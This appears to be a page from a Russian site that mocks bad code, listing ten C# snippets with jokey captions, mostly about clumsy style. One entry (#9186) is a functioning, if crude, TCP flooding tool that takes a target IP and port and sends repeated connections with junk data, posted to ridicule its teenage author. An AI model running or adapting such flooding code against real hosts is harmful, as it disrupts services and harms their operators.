1. C# / Говнокод #9213

    +117

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    [TestInitialize]
            public void Init()
            {
                relashions = new List<PersonRelationship>();
                relashions.Add( new PersonRelationship()
                {
                    PersonId = 1,
                    RalationshipPersonId = 2,
                    RelationshipTypeId = (int)DAL.Dictionaries.RelationshipType.Friend
                });
    
                relashions.Add(new PersonRelationship()
                {
                    PersonId = 1,
                    RalationshipPersonId = 2,
                    RelationshipTypeId = (int)DAL.Dictionaries.RelationshipType.Friend
                });
                
                relashions.Add(new PersonRelationship()
                {
                    PersonId = 2,
                    RalationshipPersonId = 1,
                    RelationshipTypeId = (int)DAL.Dictionaries.RelationshipType.Friend
                });
            }
    
    [TestMethod()]
            public void GetMyFriends_Get_Success()
            {
                long personId = 1;
    
                var relationService = new Mock<IRelationService>();
                relationService.Setup(c => c.GetMyFriends(personId)).Returns
                    (
                        from rl in relashions.Where(r => r.PersonId == personId && r.RelationshipTypeId == (int)DAL.Dictionaries.RelationshipType.Friend)
                        select new PersonShortDescriptionViewModel()
                        {
                            FirstName = personId.ToString(),
                            LastName = personId.ToString(),
                        }
                     );
    
                var friends = relationService.Object.GetMyFriends(personId);
                Assert.IsNotNull(friends);
            }

    Найден правильный метод написания тестов!

    Hych, 24 Января 2012

    Комментарии (4)
  2. C# / Говнокод #9207

    +120

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    if (tval.ToLower() == "true")
                                {
                                    if (!chkResp.Checked)
                                        restart = true;
                                    chkResp.Checked = true;
                                }
                                else if (tval.ToLower() == "false")
                                {
                                    if (chkResp.Checked)
                                        restart = true;
                                    chkResp.Checked = false;
                                }

    LOIC

    kasthack, 24 Января 2012

    Комментарии (12)
  3. C# / Говнокод #9201

    +121

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    private List<string> _items
    
    ...				
    
    if (_items.Count <= 0)
        return;

    Alx, 23 Января 2012

    Комментарии (94)
  4. C# / Говнокод #9194

    +127

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    foreach(string s in File.ReadAllText(input_text).Replace('ё', 'е').ToLower().Split(new char[] { ',', ' ', '.', '\t', '\r', '\n', '-', '?', '!', '\\', '/', ':', ';', '<', '>', '\'', '\"', '(', ')' }, StringSplitOptions.RemoveEmptyEntries).
    AsParallel().Where<string>(s => (s.Length == 4)).GroupBy(x => x).Select(g => new { Value = g.Key, Count = g.Count() }). OrderByDescending(x => x.Count).Select(f => (f.Value + ' ' + f.Count.ToString())).ToArray())
    {
           Console.WriteLine(s);
    }

    Найдено в коде одного из участников олимпиады сосницких
    Я понимаю, LINQ - это круто, но зачем так издеваться над проверяющим?

    kasthack, 22 Января 2012

    Комментарии (75)
  5. C# / Говнокод #9191

    +110

    1. 1
    if (TryRemoveF(-foodToAdd)) return true; else return false;

    Накодил ночью на свою голову, называется.

    RaZeR, 21 Января 2012

    Комментарии (2)
  6. C# / Говнокод #9186

    +972

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    private static void Main(string[] args)
    {
    Label_0000:
        Console.ForegroundColor = ConsoleColor.Green;
        Console.Title = "Inside Attack By XCrackers, Flood And Crash System!!";
        Console.Write("*******************************************************************************\nINSIDE ATTACK , CHECK SYSTEM , FLOOD FIREWALL AND SERVER , CRASH THE SYSTEM\nINSIDE ATTACK , CHECK SYSTEM , FLOOD FIREWALL AND SERVER , CRASH THE SYSTEM\nINSIDE ATTACK , CHECK SYSTEM , FLOOD FIREWALL AND SERVER , CRASH THE SYSTEM\n\n\nBY XCR, AND SYSTEMCHECH GLOBALS\nBY XCR, AND SYSTEMCHECH GLOBALS\nBY XCR, AND SYSTEMCHECH GLOBALS\n\n\nFOR CONTACT:\n\nSKYPE: roeeko10\n\nMSN: [email protected]\n\nSimple, Just Add Me For New UPDATE....\n*******************************************************************************\n\n");
        Console.Write("\n1) Inside.Attack, Flooding\n2) Exit\n\n");
        Console.Write("Your Choise : ");
        switch (int.Parse(Console.ReadLine()))
        {
            case 1:
            {
                Console.Write("\nEnter IP Address : ");
                string ipString = Console.ReadLine();
                Console.Write("\nPort : ");
                int port = int.Parse(Console.ReadLine());
                Console.Write("\nProtocol Tcp/Udp : ");
                Console.ReadLine();
                Console.Write("\nHow Much Request ? : ");
                int num3 = int.Parse(Console.ReadLine());
                byte[] bytes = Encoding.ASCII.GetBytes("abcdefghlkmnopzrstws!!$@$545$%2d21df3s");
                try
                {
                    for (int i = 0; i < num3; i++)
                    {
                        sck = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                        IPEndPoint remoteEP = new IPEndPoint(IPAddress.Parse(ipString), port);
                        sck.SendTimeout = 1;
                        sck.Connect(remoteEP);
                        sck.SendTo(bytes, remoteEP);
                        Console.WriteLine("[*]Inside.Attack, Syn Request : {0} Data Bytes : 1956 BYTE Every 0.3 Sec ", i);
                    }
                }
                catch
                {
                    Console.WriteLine("Cannot Connected To The Host ......");
                    Console.ReadLine();
                }
                Console.WriteLine("[+]Inside Attack Sucsess.!! All The Syn Request And The Data Byte Was Sent !! <ANT KEY FOR CONTINUE>");
                Console.ReadKey();
                goto Label_0000;
            }
            case 2:
                return;
        }
        Console.Clear();
        Console.WriteLine("Incorrect Choose!! . Please Choose 1/2.\n\n");
        goto Label_0000;
    }

    Код 13-и летнего кулхацкера. "Это ДДОС посоны".

    cthulhu25, 20 Января 2012

    Комментарии (53)
  7. C# / Говнокод #9178

    +111

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    while (true)
                    {
                        if (sec > 10)
                        {
                            sec = 0;
                            // Вызор функции
                        }
                        else
                            sec++;
    
                        Thread.Sleep(1000);
                    }

    Боевой код, который допиливаю(

    yorikim, 20 Января 2012

    Комментарии (4)
  8. C# / Говнокод #9176

    +953

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    void Update()
    {
    	float anime = (animation.wrapMode = WrapMode.Loop);
    	anime = false;
    }

    Хентай повышенной концентрации.

    alexz, 19 Января 2012

    Комментарии (27)
  9. C# / Говнокод #9172

    +106

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    public void CheckMemoStyle(bool isChecked)
    {
        if (isChecked)
        {
            memoStyleLayoutCntrl.Selected = true;
        }
        else
        {
            memoStyleLayoutCntrl.Selected = false;
        }
    }

    memoStyleLayoutCntrl.Selected = isChecked; уже не модно?

    alpha2050, 19 Января 2012

    Комментарии (5)
  10. C# / Говнокод #9169

    +114

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    public void Dispose()
            {
                Dispose(true);  
                GC.SuppressFinalize(this);
            }
    
            protected virtual void Dispose(bool disposing)
            {
                _channelRedrawManager.StopProcessing();
            }
    
            ~ChannelControlViewModel()
            {
                Dispose(false);
            }

    Деструкти правильно..

    Lifter, 19 Января 2012

    Комментарии (5)